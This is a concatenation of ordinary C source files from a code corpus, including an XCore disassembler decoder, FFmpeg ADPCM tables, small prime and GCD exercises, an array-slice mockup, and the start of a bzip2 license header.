MCInst_setOpcode(Inst, XCore_LSS_3r);
return Decode3RInstruction(Inst, Insn, Address, Decoder);
case 0x19:
MCInst_setOpcode(Inst, XCore_LSU_3r);
return Decode3RInstruction(Inst, Insn, Address, Decoder);
}
return MCDisassembler_Fail;
}
static DecodeStatus Decode2RInstruction(MCInst *Inst, unsigned Insn, uint64_t Address,
void *Decoder)
{
unsigned Op1, Op2;
DecodeStatus S = Decode2OpInstruction(Insn, &Op1, &Op2);
if (S != MCDisassembler_Success)
return Decode2OpInstructionFail(Inst, Insn, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op1, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op2, Address, Decoder);
return S;
}
static DecodeStatus Decode2RImmInstruction(MCInst *Inst, unsigned Insn, uint64_t Address,
void *Decoder)
{
unsigned Op1, Op2;
DecodeStatus S = Decode2OpInstruction(Insn, &Op1, &Op2);
if (S != MCDisassembler_Success)
return Decode2OpInstructionFail(Inst, Insn, Address, Decoder);
MCOperand_CreateImm0(Inst, Op1);
DecodeGRRegsRegisterClass(Inst, Op2, Address, Decoder);
return S;
}
static DecodeStatus DecodeR2RInstruction(MCInst *Inst, unsigned Insn, uint64_t Address,
void *Decoder)
{
unsigned Op1, Op2;
DecodeStatus S = Decode2OpInstruction(Insn, &Op2, &Op1);
if (S != MCDisassembler_Success)
return Decode2OpInstructionFail(Inst, Insn, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op1, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op2, Address, Decoder);
return S;
}
static DecodeStatus Decode2RSrcDstInstruction(MCInst *Inst, unsigned Insn, uint64_t Address,
void *Decoder)
{
unsigned Op1, Op2;
DecodeStatus S = Decode2OpInstruction(Insn, &Op1, &Op2);
if (S != MCDisassembler_Success)
return Decode2OpInstructionFail(Inst, Insn, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op1, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op1, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op2, Address, Decoder);
return S;
}
static DecodeStatus DecodeRUSInstruction(MCInst *Inst, unsigned Insn, uint64_t Address,
void *Decoder)
{
unsigned Op1, Op2;
DecodeStatus S = Decode2OpInstruction(Insn, &Op1, &Op2);
if (S != MCDisassembler_Success)
return Decode2OpInstructionFail(Inst, Insn, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op1, Address, Decoder);
MCOperand_CreateImm0(Inst, Op2);
return S;
}
static DecodeStatus DecodeRUSBitpInstruction(MCInst *Inst, unsigned Insn, uint64_t Address,
void *Decoder)
{
unsigned Op1, Op2;
DecodeStatus S = Decode2OpInstruction(Insn, &Op1, &Op2);
if (S != MCDisassembler_Success)
return Decode2OpInstructionFail(Inst, Insn, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op1, Address, Decoder);
DecodeBitpOperand(Inst, Op2, Address, Decoder);
return S;
}
static DecodeStatus DecodeRUSSrcDstBitpInstruction(MCInst *Inst, unsigned Insn, uint64_t Address,
void *Decoder)
{
unsigned Op1, Op2;
DecodeStatus S = Decode2OpInstruction(Insn, &Op1, &Op2);
if (S != MCDisassembler_Success)
return Decode2OpInstructionFail(Inst, Insn, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op1, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op1, Address, Decoder);
DecodeBitpOperand(Inst, Op2, Address, Decoder);
return S;
}
static DecodeStatus DecodeL2OpInstructionFail(MCInst *Inst, unsigned Insn, uint64_t Address,
void *Decoder)
{
// Try and decode as a L3R / L2RUS instruction.
unsigned Opcode = fieldFromInstruction_4(Insn, 16, 4) |
fieldFromInstruction_4(Insn, 27, 5) << 4;
switch (Opcode) {
case 0x0c:
MCInst_setOpcode(Inst, XCore_STW_l3r);
return DecodeL3RInstruction(Inst, Insn, Address, Decoder);
case 0x1c:
MCInst_setOpcode(Inst, XCore_XOR_l3r);
return DecodeL3RInstruction(Inst, Insn, Address, Decoder);
case 0x2c:
MCInst_setOpcode(Inst, XCore_ASHR_l3r);
return DecodeL3RInstruction(Inst, Insn, Address, Decoder);
case 0x3c:
MCInst_setOpcode(Inst, XCore_LDAWF_l3r);
return DecodeL3RInstruction(Inst, Insn, Address, Decoder);
case 0x4c:
MCInst_setOpcode(Inst, XCore_LDAWB_l3r);
return DecodeL3RInstruction(Inst, Insn, Address, Decoder);
case 0x5c:
MCInst_setOpcode(Inst, XCore_LDA16F_l3r);
return DecodeL3RInstruction(Inst, Insn, Address, Decoder);
case 0x6c:
MCInst_setOpcode(Inst, XCore_LDA16B_l3r);
return DecodeL3RInstruction(Inst, Insn, Address, Decoder);
case 0x7c:
MCInst_setOpcode(Inst, XCore_MUL_l3r);
return DecodeL3RInstruction(Inst, Insn, Address, Decoder);
case 0x8c:
MCInst_setOpcode(Inst, XCore_DIVS_l3r);
return DecodeL3RInstruction(Inst, Insn, Address, Decoder);
case 0x9c:
MCInst_setOpcode(Inst, XCore_DIVU_l3r);
return DecodeL3RInstruction(Inst, Insn, Address, Decoder);
case 0x10c:
MCInst_setOpcode(Inst, XCore_ST16_l3r);
return DecodeL3RInstruction(Inst, Insn, Address, Decoder);
case 0x11c:
MCInst_setOpcode(Inst, XCore_ST8_l3r);
return DecodeL3RInstruction(Inst, Insn, Address, Decoder);
case 0x12c:
MCInst_setOpcode(Inst, XCore_ASHR_l2rus);
return DecodeL2RUSBitpInstruction(Inst, Insn, Address, Decoder);
case 0x12d:
MCInst_setOpcode(Inst, XCore_OUTPW_l2rus);
return DecodeL2RUSBitpInstruction(Inst, Insn, Address, Decoder);
case 0x12e:
MCInst_setOpcode(Inst, XCore_INPW_l2rus);
return DecodeL2RUSBitpInstruction(Inst, Insn, Address, Decoder);
case 0x13c:
MCInst_setOpcode(Inst, XCore_LDAWF_l2rus);
return DecodeL2RUSInstruction(Inst, Insn, Address, Decoder);
case 0x14c:
MCInst_setOpcode(Inst, XCore_LDAWB_l2rus);
return DecodeL2RUSInstruction(Inst, Insn, Address, Decoder);
case 0x15c:
MCInst_setOpcode(Inst, XCore_CRC_l3r);
return DecodeL3RSrcDstInstruction(Inst, Insn, Address, Decoder);
case 0x18c:
MCInst_setOpcode(Inst, XCore_REMS_l3r);
return DecodeL3RInstruction(Inst, Insn, Address, Decoder);
case 0x19c:
MCInst_setOpcode(Inst, XCore_REMU_l3r);
return DecodeL3RInstruction(Inst, Insn, Address, Decoder);
}
return MCDisassembler_Fail;
}
static DecodeStatus DecodeL2RInstruction(MCInst *Inst, unsigned Insn, uint64_t Address,
void *Decoder)
{
unsigned Op1, Op2;
DecodeStatus S = Decode2OpInstruction(fieldFromInstruction_4(Insn, 0, 16), &Op1, &Op2);
if (S != MCDisassembler_Success)
return DecodeL2OpInstructionFail(Inst, Insn, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op1, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op2, Address, Decoder);
return S;
}
static DecodeStatus DecodeLR2RInstruction(MCInst *Inst, unsigned Insn, uint64_t Address,
void *Decoder)
{
unsigned Op1, Op2;
DecodeStatus S = Decode2OpInstruction(fieldFromInstruction_4(Insn, 0, 16), &Op1, &Op2);
if (S != MCDisassembler_Success)
return DecodeL2OpInstructionFail(Inst, Insn, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op2, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op1, Address, Decoder);
return S;
}
static DecodeStatus Decode3RInstruction(MCInst *Inst, unsigned Insn, uint64_t Address,
void *Decoder)
{
unsigned Op1, Op2, Op3;
DecodeStatus S = Decode3OpInstruction(Insn, &Op1, &Op2, &Op3);
if (S == MCDisassembler_Success) {
DecodeGRRegsRegisterClass(Inst, Op1, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op2, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op3, Address, Decoder);
}
return S;
}
static DecodeStatus Decode3RImmInstruction(MCInst *Inst, unsigned Insn, uint64_t Address,
void *Decoder)
{
unsigned Op1, Op2, Op3;
DecodeStatus S = Decode3OpInstruction(Insn, &Op1, &Op2, &Op3);
if (S == MCDisassembler_Success) {
MCOperand_CreateImm0(Inst, Op1);
DecodeGRRegsRegisterClass(Inst, Op2, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op3, Address, Decoder);
}
return S;
}
static DecodeStatus Decode2RUSInstruction(MCInst *Inst, unsigned Insn, uint64_t Address,
void *Decoder)
{
unsigned Op1, Op2, Op3;
DecodeStatus S = Decode3OpInstruction(Insn, &Op1, &Op2, &Op3);
if (S == MCDisassembler_Success) {
DecodeGRRegsRegisterClass(Inst, Op1, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op2, Address, Decoder);
MCOperand_CreateImm0(Inst, Op3);
}
return S;
}
static DecodeStatus Decode2RUSBitpInstruction(MCInst *Inst, unsigned Insn, uint64_t Address,
void *Decoder)
{
unsigned Op1, Op2, Op3;
DecodeStatus S = Decode3OpInstruction(Insn, &Op1, &Op2, &Op3);
if (S == MCDisassembler_Success) {
DecodeGRRegsRegisterClass(Inst, Op1, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op2, Address, Decoder);
DecodeBitpOperand(Inst, Op3, Address, Decoder);
}
return S;
}
static DecodeStatus DecodeL3RInstruction(MCInst *Inst, unsigned Insn, uint64_t Address,
void *Decoder)
{
unsigned Op1, Op2, Op3;
DecodeStatus S =
Decode3OpInstruction(fieldFromInstruction_4(Insn, 0, 16), &Op1, &Op2, &Op3);
if (S == MCDisassembler_Success) {
DecodeGRRegsRegisterClass(Inst, Op1, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op2, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op3, Address, Decoder);
}
return S;
}
static DecodeStatus DecodeL3RSrcDstInstruction(MCInst *Inst, unsigned Insn, uint64_t Address,
void *Decoder)
{
unsigned Op1, Op2, Op3;
DecodeStatus S =
Decode3OpInstruction(fieldFromInstruction_4(Insn, 0, 16), &Op1, &Op2, &Op3);
if (S == MCDisassembler_Success) {
DecodeGRRegsRegisterClass(Inst, Op1, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op1, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op2, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op3, Address, Decoder);
}
return S;
}
static DecodeStatus DecodeL2RUSInstruction(MCInst *Inst, unsigned Insn, uint64_t Address,
void *Decoder)
{
unsigned Op1, Op2, Op3;
DecodeStatus S =
Decode3OpInstruction(fieldFromInstruction_4(Insn, 0, 16), &Op1, &Op2, &Op3);
if (S == MCDisassembler_Success) {
DecodeGRRegsRegisterClass(Inst, Op1, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op2, Address, Decoder);
MCOperand_CreateImm0(Inst, Op3);
}
return S;
}
static DecodeStatus DecodeL2RUSBitpInstruction(MCInst *Inst, unsigned Insn, uint64_t Address,
void *Decoder)
{
unsigned Op1, Op2, Op3;
DecodeStatus S =
Decode3OpInstruction(fieldFromInstruction_4(Insn, 0, 16), &Op1, &Op2, &Op3);
if (S == MCDisassembler_Success) {
DecodeGRRegsRegisterClass(Inst, Op1, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op2, Address, Decoder);
DecodeBitpOperand(Inst, Op3, Address, Decoder);
}
return S;
}
static DecodeStatus DecodeL6RInstruction(MCInst *Inst, unsigned Insn, uint64_t Address,
void *Decoder)
{
unsigned Op1, Op2, Op3, Op4, Op5, Op6;
DecodeStatus S =
Decode3OpInstruction(fieldFromInstruction_4(Insn, 0, 16), &Op1, &Op2, &Op3);
if (S != MCDisassembler_Success)
return S;
S = Decode3OpInstruction(fieldFromInstruction_4(Insn, 16, 16), &Op4, &Op5, &Op6);
if (S != MCDisassembler_Success)
return S;
DecodeGRRegsRegisterClass(Inst, Op1, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op4, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op2, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op3, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op5, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op6, Address, Decoder);
return S;
}
static DecodeStatus DecodeL5RInstructionFail(MCInst *Inst, unsigned Insn, uint64_t Address,
void *Decoder)
{
unsigned Opcode;
// Try and decode as a L6R instruction.
MCInst_clear(Inst);
Opcode = fieldFromInstruction_4(Insn, 27, 5);
switch (Opcode) {
default:
break;
case 0x00:
MCInst_setOpcode(Inst, XCore_LMUL_l6r);
return DecodeL6RInstruction(Inst, Insn, Address, Decoder);
}
return MCDisassembler_Fail;
}
static DecodeStatus DecodeL5RInstruction(MCInst *Inst, unsigned Insn, uint64_t Address,
void *Decoder)
{
unsigned Op1, Op2, Op3, Op4, Op5;
DecodeStatus S =
Decode3OpInstruction(fieldFromInstruction_4(Insn, 0, 16), &Op1, &Op2, &Op3);
if (S != MCDisassembler_Success)
return DecodeL5RInstructionFail(Inst, Insn, Address, Decoder);
S = Decode2OpInstruction(fieldFromInstruction_4(Insn, 16, 16), &Op4, &Op5);
if (S != MCDisassembler_Success)
return DecodeL5RInstructionFail(Inst, Insn, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op1, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op4, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op2, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op3, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op5, Address, Decoder);
return S;
}
static DecodeStatus DecodeL4RSrcDstInstruction(MCInst *Inst, unsigned Insn, uint64_t Address,
void *Decoder)
{
unsigned Op1, Op2, Op3;
unsigned Op4 = fieldFromInstruction_4(Insn, 16, 4);
DecodeStatus S =
Decode3OpInstruction(fieldFromInstruction_4(Insn, 0, 16), &Op1, &Op2, &Op3);
if (S == MCDisassembler_Success) {
DecodeGRRegsRegisterClass(Inst, Op1, Address, Decoder);
S = DecodeGRRegsRegisterClass(Inst, Op4, Address, Decoder);
}
if (S == MCDisassembler_Success) {
DecodeGRRegsRegisterClass(Inst, Op4, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op2, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op3, Address, Decoder);
}
return S;
}
static DecodeStatus DecodeL4RSrcDstSrcDstInstruction(MCInst *Inst, unsigned Insn, uint64_t Address,
void *Decoder)
{
unsigned Op1, Op2, Op3;
unsigned Op4 = fieldFromInstruction_4(Insn, 16, 4);
DecodeStatus S =
Decode3OpInstruction(fieldFromInstruction_4(Insn, 0, 16), &Op1, &Op2, &Op3);
if (S == MCDisassembler_Success) {
DecodeGRRegsRegisterClass(Inst, Op1, Address, Decoder);
S = DecodeGRRegsRegisterClass(Inst, Op4, Address, Decoder);
}
if (S == MCDisassembler_Success) {
DecodeGRRegsRegisterClass(Inst, Op1, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op4, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op2, Address, Decoder);
DecodeGRRegsRegisterClass(Inst, Op3, Address, Decoder);
}
return S;
}
#define GET_SUBTARGETINFO_ENUM
#include "XCoreGenInstrInfo.inc"
bool XCore_getInstruction(csh ud, const uint8_t *code, size_t code_len, MCInst *MI,
uint16_t *size, uint64_t address, void *info)
{
uint16_t insn16;
uint32_t insn32;
DecodeStatus Result;
if (!readInstruction16(code, code_len, &insn16)) {
return MCDisassembler_Fail;
}
if (MI->flat_insn->detail) {
memset(MI->flat_insn->detail, 0, sizeof(cs_detail));
}
// Calling the auto-generated decoder function.
Result = decodeInstruction_2(DecoderTable16, MI, insn16, address, info, 0);
if (Result != MCDisassembler_Fail) {
*size = 2;
return Result;
}
if (!readInstruction32(code, code_len, &insn32)) {
return MCDisassembler_Fail;
}
// Calling the auto-generated decoder function.
Result = decodeInstruction_4(DecoderTable32, MI, insn32, address, info, 0);
if (Result != MCDisassembler_Fail) {
*size = 4;
return Result;
}
return MCDisassembler_Fail;
}
void XCore_init(MCRegisterInfo *MRI)
{
/*
InitMCRegisterInfo(XCoreRegDesc, 17, RA, PC,
XCoreMCRegisterClasses, 2,
XCoreRegUnitRoots,
16,
XCoreRegDiffLists,
XCoreRegStrings,
XCoreSubRegIdxLists,
1,
XCoreSubRegIdxRanges,
XCoreRegEncodingTable);
*/
MCRegisterInfo_InitMCRegisterInfo(MRI, XCoreRegDesc, 17,
0, 0,
XCoreMCRegisterClasses, 2,
0, 0,
XCoreRegDiffLists,
0,
XCoreSubRegIdxLists, 1,
0);
}
#endif
|
the_stack_data/48573935.c
|
#include <stdio.h>
int is_prime(int n, int delitel) {
if (n == 2) {
return 1;
}
if ((n <= 1) || (n % delitel == 0))
return 0;
if (delitel * delitel >= n) {
return 1;
}
return is_prime(n, delitel + 1);
}
int main() {
int n;
scanf("%i", &n);
if (is_prime(n, 2)) {
printf("YES");
} else {
printf("NO");
}
}
|
the_stack_data/45353.c
|
static void
compare (long long foo)
{
if (foo < 4294967297LL)
abort();
}
int main(void)
{
compare (8589934591LL);
exit (0);
}
|
the_stack_data/62415.c
|
/*
* Copyright (c) 2001-2003 The FFmpeg project
*
* This file is part of FFmpeg.
*
* FFmpeg is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* FFmpeg is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with FFmpeg; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
/**
* @file
* ADPCM tables
*/
#include <stdint.h>
/* ff_adpcm_step_table[] and ff_adpcm_index_table[] are from the ADPCM
reference source */
static const int8_t adpcm_index_table2[4] = {
-1, 2,
-1, 2,
};
static const int8_t adpcm_index_table3[8] = {
-1, -1, 1, 2,
-1, -1, 1, 2,
};
const int8_t ff_adpcm_index_table[16] = {
-1, -1, -1, -1, 2, 4, 6, 8,
-1, -1, -1, -1, 2, 4, 6, 8,
};
static const int8_t adpcm_index_table5[32] = {
-1, -1, -1, -1, -1, -1, -1, -1, 1, 2, 4, 6, 8, 10, 13, 16,
-1, -1, -1, -1, -1, -1, -1, -1, 1, 2, 4, 6, 8, 10, 13, 16,
};
const int8_t * const ff_adpcm_index_tables[4] = {
&adpcm_index_table2[0],
&adpcm_index_table3[0],
&ff_adpcm_index_table[0],
&adpcm_index_table5[0],
};
/**
* This is the step table. Note that many programs use slight deviations from
* this table, but such deviations are negligible:
*/
const int16_t ff_adpcm_step_table[89] = {
7, 8, 9, 10, 11, 12, 13, 14, 16, 17,
19, 21, 23, 25, 28, 31, 34, 37, 41, 45,
50, 55, 60, 66, 73, 80, 88, 97, 107, 118,
130, 143, 157, 173, 190, 209, 230, 253, 279, 307,
337, 371, 408, 449, 494, 544, 598, 658, 724, 796,
876, 963, 1060, 1166, 1282, 1411, 1552, 1707, 1878, 2066,
2272, 2499, 2749, 3024, 3327, 3660, 4026, 4428, 4871, 5358,
5894, 6484, 7132, 7845, 8630, 9493, 10442, 11487, 12635, 13899,
15289, 16818, 18500, 20350, 22385, 24623, 27086, 29794, 32767
};
const int16_t ff_adpcm_oki_step_table[49] = {
16, 17, 19, 21, 23, 25, 28, 31, 34, 37,
41, 45, 50, 55, 60, 66, 73, 80, 88, 97,
107, 118, 130, 143, 157, 173, 190, 209, 230, 253,
279, 307, 337, 371, 408, 449, 494, 544, 598, 658,
724, 796, 876, 963, 1060, 1166, 1282, 1411, 1552
};
/* These are for MS-ADPCM */
/* ff_adpcm_AdaptationTable[], ff_adpcm_AdaptCoeff1[], and
ff_adpcm_AdaptCoeff2[] are from libsndfile */
const int16_t ff_adpcm_AdaptationTable[] = {
230, 230, 230, 230, 307, 409, 512, 614,
768, 614, 512, 409, 307, 230, 230, 230
};
/** Divided by 4 to fit in 8-bit integers */
const uint8_t ff_adpcm_AdaptCoeff1[] = {
64, 128, 0, 48, 60, 115, 98
};
/** Divided by 4 to fit in 8-bit integers */
const int8_t ff_adpcm_AdaptCoeff2[] = {
0, -64, 0, 16, 0, -52, -58
};
const int16_t ff_adpcm_yamaha_indexscale[] = {
230, 230, 230, 230, 307, 409, 512, 614,
230, 230, 230, 230, 307, 409, 512, 614
};
const int8_t ff_adpcm_yamaha_difflookup[] = {
1, 3, 5, 7, 9, 11, 13, 15,
-1, -3, -5, -7, -9, -11, -13, -15
};
const uint16_t ff_adpcm_afc_coeffs[2][16] = {
{ 0, 2048, 0, 1024, 4096, 3584, 3072, 4608, 4200, 4800, 5120, 2048, 1024, 64512, 64512, 63488 },
{ 0, 0, 2048, 1024, 63488, 64000, 64512, 62976, 63288, 63236, 62464, 63488, 64512, 1024, 0, 0 }
};
const int16_t ff_adpcm_mtaf_stepsize[32][16] = {
{ 1, 5, 9, 13, 16, 20, 24, 28,
-1, -5, -9, -13, -16, -20, -24, -28, },
{ 2, 6, 11, 15, 20, 24, 29, 33,
-2, -6, -11, -15, -20, -24, -29, -33, },
{ 2, 7, 13, 18, 23, 28, 34, 39,
-2, -7, -13, -18, -23, -28, -34, -39, },
{ 3, 9, 15, 21, 28, 34, 40, 46,
-3, -9, -15, -21, -28, -34, -40, -46, },
{ 3, 11, 18, 26, 33, 41, 48, 56,
-3, -11, -18, -26, -33, -41, -48, -56, },
{ 4, 13, 22, 31, 40, 49, 58, 67,
-4, -13, -22, -31, -40, -49, -58, -67, },
{ 5, 16, 26, 37, 48, 59, 69, 80,
-5, -16, -26, -37, -48, -59, -69, -80, },
{ 6, 19, 31, 44, 57, 70, 82, 95,
-6, -19, -31, -44, -57, -70, -82, -95, },
{ 7, 22, 38, 53, 68, 83, 99, 114,
-7, -22, -38, -53, -68, -83, -99, -114, },
{ 9, 27, 45, 63, 81, 99, 117, 135,
-9, -27, -45, -63, -81, -99, -117, -135, },
{ 10, 32, 53, 75, 96, 118, 139, 161,
-10, -32, -53, -75, -96, -118, -139, -161, },
{ 12, 38, 64, 90, 115, 141, 167, 193,
-12, -38, -64, -90, -115, -141, -167, -193, },
{ 15, 45, 76, 106, 137, 167, 198, 228,
-15, -45, -76, -106, -137, -167, -198, -228, },
{ 18, 54, 91, 127, 164, 200, 237, 273,
-18, -54, -91, -127, -164, -200, -237, -273, },
{ 21, 65, 108, 152, 195, 239, 282, 326,
-21, -65, -108, -152, -195, -239, -282, -326, },
{ 25, 77, 129, 181, 232, 284, 336, 388,
-25, -77, -129, -181, -232, -284, -336, -388, },
{ 30, 92, 153, 215, 276, 338, 399, 461,
-30, -92, -153, -215, -276, -338, -399, -461, },
{ 36, 109, 183, 256, 329, 402, 476, 549,
-36, -109, -183, -256, -329, -402, -476, -549, },
{ 43, 130, 218, 305, 392, 479, 567, 654,
-43, -130, -218, -305, -392, -479, -567, -654, },
{ 52, 156, 260, 364, 468, 572, 676, 780,
-52, -156, -260, -364, -468, -572, -676, -780, },
{ 62, 186, 310, 434, 558, 682, 806, 930,
-62, -186, -310, -434, -558, -682, -806, -930, },
{ 73, 221, 368, 516, 663, 811, 958, 1106,
-73, -221, -368, -516, -663, -811, -958, -1106, },
{ 87, 263, 439, 615, 790, 966, 1142, 1318,
-87, -263, -439, -615, -790, -966, -1142, -1318, },
{ 104, 314, 523, 733, 942, 1152, 1361, 1571,
-104, -314, -523, -733, -942, -1152, -1361, -1571, },
{ 124, 374, 623, 873, 1122, 1372, 1621, 1871,
-124, -374, -623, -873, -1122, -1372, -1621, -1871, },
{ 148, 445, 743, 1040, 1337, 1634, 1932, 2229,
-148, -445, -743, -1040, -1337, -1634, -1932, -2229, },
{ 177, 531, 885, 1239, 1593, 1947, 2301, 2655,
-177, -531, -885, -1239, -1593, -1947, -2301, -2655, },
{ 210, 632, 1053, 1475, 1896, 2318, 2739, 3161,
-210, -632, -1053, -1475, -1896, -2318, -2739, -3161, },
{ 251, 753, 1255, 1757, 2260, 2762, 3264, 3766,
-251, -753, -1255, -1757, -2260, -2762, -3264, -3766, },
{ 299, 897, 1495, 2093, 2692, 3290, 3888, 4486,
-299, -897, -1495, -2093, -2692, -3290, -3888, -4486, },
{ 356, 1068, 1781, 2493, 3206, 3918, 4631, 5343,
-356, -1068, -1781, -2493, -3206, -3918, -4631, -5343, },
{ 424, 1273, 2121, 2970, 3819, 4668, 5516, 6365,
-424, -1273, -2121, -2970, -3819, -4668, -5516, -6365, },
};
/*
* Dumped from the binaries:
* - FantasticJourney.exe - 0x794D2, DGROUP:0x47A4D2
* - BigRaceUSA.exe - 0x9B8AA, DGROUP:0x49C4AA
* - Timeshock!.exe - 0x8506A, DGROUP:0x485C6A
*/
const int8_t ff_adpcm_ima_cunning_index_table[9] = {
-1, -1, -1, -1, 1, 2, 3, 4, -1
};
/*
* Dumped from the binaries:
* - FantasticJourney.exe - 0x79458, DGROUP:0x47A458
* - BigRaceUSA.exe - 0x9B830, DGROUP:0x49C430
* - Timeshock!.exe - 0x84FF0, DGROUP:0x485BF0
*/
const int16_t ff_adpcm_ima_cunning_step_table[61] = {
1, 1, 1, 1, 2, 2, 3, 3, 4, 5,
6, 7, 8, 10, 12, 14, 16, 20, 24, 28,
32, 40, 48, 56, 64, 80, 96, 112, 128, 160,
192, 224, 256, 320, 384, 448, 512, 640, 768, 896,
1024, 1280, 1536, 1792, 2048, 2560, 3072, 3584, 4096, 5120,
6144, 7168, 8192, 10240, 12288, 14336, 16384, 20480, 24576, 28672, 0
};
|
the_stack_data/234517224.c
|
/*
* Write a program that calculates the greatest common divisor (GCD) of given
* two integers a and b. Use the Euclidean algorithm. Examples:
a b GCD(a, b)
3 2 1
60 40 20
5 -15 5
*/
#include <stdio.h>
int gcd(int, int);
int main() {
int a, b;
printf("a = ");
scanf("%d", &a);
printf("b = ");
scanf("%d", &b);
if (b > a) {
int oldValue = a;
a = b;
b = oldValue;
}
int result = gcd(a, b);
printf("gcd(%d, %d) = %d", a, b, result);
return 0;
}
int gcd(int a, int b) {
int temp;
while (b != 0) {
temp = b;
b = a % b;
a = temp;
}
return a;
}
|
the_stack_data/145452356.c
|
/*
autorun array-ref-mockup.c -- \
"clang -emit-llvm -c -S -o array-ref-mockup.ll array-ref-mockup.c"
*/
#define strlen __builtin_strlen
#define memcpy __builtin_memcpy
struct mut_slice { int len; int cap; int* ptr; }; // mut&[int]
struct imu_slice { int len; int* ptr; }; // &[int]
struct dynarray { int len; int cap; int* ptr; }; // [int]
struct dynarray alloc_i32x3() { // fun alloc(T, cap) ⟶ [T]
static int fakeheap[3];
return (struct dynarray){ 0, 3, fakeheap };
}
int first(struct imu_slice s) { // fun look(s &[int]) -> s[0]
return s.ptr[0];
}
int main(int argc, const char** argv) {
int a1[3] = {10,20,30}; // really just a pointer to stack data
// int a2[2] = a1; // error: array initializer must be an initializer list
int* s1 = a1; // s1 = a1[:] ⟶ mut&[int 3]
int* s2 = a1+1; // s1 = a1[1:] ⟶ mut&[int 2]
// copy local stack array to heap
struct dynarray ha = alloc_i32x3(); // alloc(int, 3) ⟶ [T]
ha.len = 3; // ha.len = sa.len
memcpy(ha.ptr, s1, 3); // copy(ha, s1)
int v1 = first((struct imu_slice){3,s1}); // v1 = first(&s1)
// Automatic casts:
// digraph {
// graph [ rankdir="LR" ];
//
// "[T n]" -> "mut&[T n]"
// "[T n]" -> "&[T n]"
// "mut&[T n]" -> "&[T n]" -> "&[T]"
// "mut&[T n]" -> "mut&[T]" -> "&[T]"
// "mut&[T n]" -> "&[T]"
//
// "[T]" -> "mut&[T]"
//
// "alloc(T)" -> "[T]"
// "var [T n]" -> "[T n]"
// }
//
// Only way to get a [T] is with alloc(), [T n] on stack or global.
//
// ┌───────────┐ ┌────────┐ ┌───────────┐ ┌──────┐
// │ alloc(T) │ ──▶ │ [T] │ ──▶ │ mut&[T] │ ──▶ │ &[T] │
// └───────────┘ └────────┘ └───────────┘ └──────┘
// ▲ ▲ ▲
// │ │ │
// ┌───────────┐ ┌────────┐ ┌───────────┐ │ │
// │ var [T n] │ ──▶ │ [T n] │ ──▶ │ mut&[T n] │ ──────┘ │
// └───────────┘ └────────┘ └───────────┘ │
// │ ┌─────────────┘ │
// ▼ ▼ │
// ┌────────┐ │
// │ &[T n] │ ───────────────────────────┘
// └────────┘
//
// int d[3] = {10,argc,12};
// d[1] = 4;
// return (int)d[1];
return 0;
}
|
the_stack_data/154831992.c
|
// Modified by Lasse Oorni for Urho3D
// Urho3D: function moved to SDL_android.c due to link error
/* vi: set ts=4 sw=4 expandtab: */
|
the_stack_data/92324219.c
|
/*-----------------------------------------------------------*/
/*--- A block-sorting, lossless compressor bzip2.c ---*/
/*-----------------------------------------------------------*/
/*--
This file is a part of bzip2 and/or libbzip2, a program and
library for lossless, block-sorting data compression.
Copyright (C) 1996-2002 Julian R Seward. All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
2. The origin of this software must not be misrepresented; you must
not claim that you wrote the original software. If you use this
software in a product, an acknowledgment in the product
documentation would be appreciated but is not required.
3. Altered source versions must be plainly marked as such, and must
not be misrepresented as being the original software.
4. The name of the author may not be used to endorse or promote
products derived from this software without specific prior written
permission.
THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS
OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
